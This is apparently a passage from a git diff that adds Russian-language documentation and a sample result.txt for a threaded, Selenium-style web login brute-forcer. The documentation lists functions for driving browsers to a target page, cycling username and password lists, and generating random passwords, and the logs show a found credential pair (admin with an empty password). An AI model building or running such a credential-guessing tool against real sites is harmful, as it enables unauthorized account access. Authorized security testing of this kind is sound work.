+Main() # Инициализация параметров, создание и сопровождение потоков, открытие браузеров, запуск брутфорса в потоках.
+
+Содержимое модуля bruter_lib.py
+Основные глобальные переменные:
+workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути.
+threads = [] # Список потоков.
+browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке.
+Основные функции:
+ParseArgs() # Парсер аргументов командной строки.
+EstimateTime(numLogins, numPasswords, waitInSec, rumpUp, treadsNum) # Функция расчета ожидаемого времени работы.
+DurationOperation(func) # Декоратор для оценки времени работы функций.
+StringOfNumToNumsList(string) # Конвертер строки чисел с разделителями в список чисел.
+GetListFromfile(file) # Получение списка строк из файла.
+SeparateListByPieces(fullList, piecesNum) # Возвращает список списков, полученных разбиением входного списка на указанное число "кусков".
+Reporting(instance, file, creds, users, passwords, actualTime) # Репортер для брутфорсера.
+OpenBrowser(instance, opTimeout, browserString, ffProfile) # Открытие и подготовка браузера к работе.
+GoingToTarget(instance, opTimeout, targetURL, loginField, passwordField, acceptButton) # Переход к целевой страничке.
+CloseBrowser(instance=0) # Завершение работы браузера.
+Cleaner() # Функция для корректного завершения всех операций и потоков программы.
+GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация псевдослучайной строки указанной длины, состоящей из символов указанных алфавитов.
+GenerateListOfRandomStrings(numbers, length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация листа с указанным числом псевдослучайных строк.
+GenerateFileWithRandomStrings(par) # Генерация файла со списком псевдослучайных строк.
+Bruter(instance, opTimeout, loginField, passwordField, acceptButton, successAuth, failAuth, users=None, passwords, randomization, result) # Основная функция для перебора учётных данных.
+
+В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора.
+Результаты программы выводятся по умолчанию в файл result.txt в следующем виде.
+
+Пример сообщения о найденных учётных данных:
+18:15:18 24.09.2012 - Thread #0, Bruter finished check for
+users = ['admin', ..., 'guest'], 4 items,
+passwords = ['', ..., 'qwerty'], 9 items.
+Actual time worked: 0:00:28.369000
+Suitable credentials: {'admin': ''}
+
+Пример сообщения о невозможности подобрать учетные данные:
+18:18:25 24.09.2012 - Thread #0, Bruter finished check for
+users = ['admin', ..., 'guest'], 4 items,
+passwords = ['admin', ..., 'qwerty'], 8 items.
+Actual time worked: 0:01:28.557000
+Bruter can't find suitable credentials.
diff --git a/result.txt b/result.txt
new file mode 100644
index 0000000..ecd1918
--- /dev/null
+++ b/result.txt
@@ -0,0 +1,12 @@
+
+12:33:17 25.09.2012 - Thread #0, Bruter finished check for
+users = ['admin', ..., ''], 5 items,
+passwords = ['', ..., 'user'], 4 items.
+Actual time worked: 0:00:00.386000
+Suitable credentials: {'admin': ''}
+
+12:34:28 25.09.2012 - Thread #1, Bruter finished check for
+users = ['admin', ..., ''], 5 items,
+passwords = ['guest', ..., 'qwerty'], 5 items.
+Actual time worked: 0:01:07.565000
+Bruter can't find suitable credentials.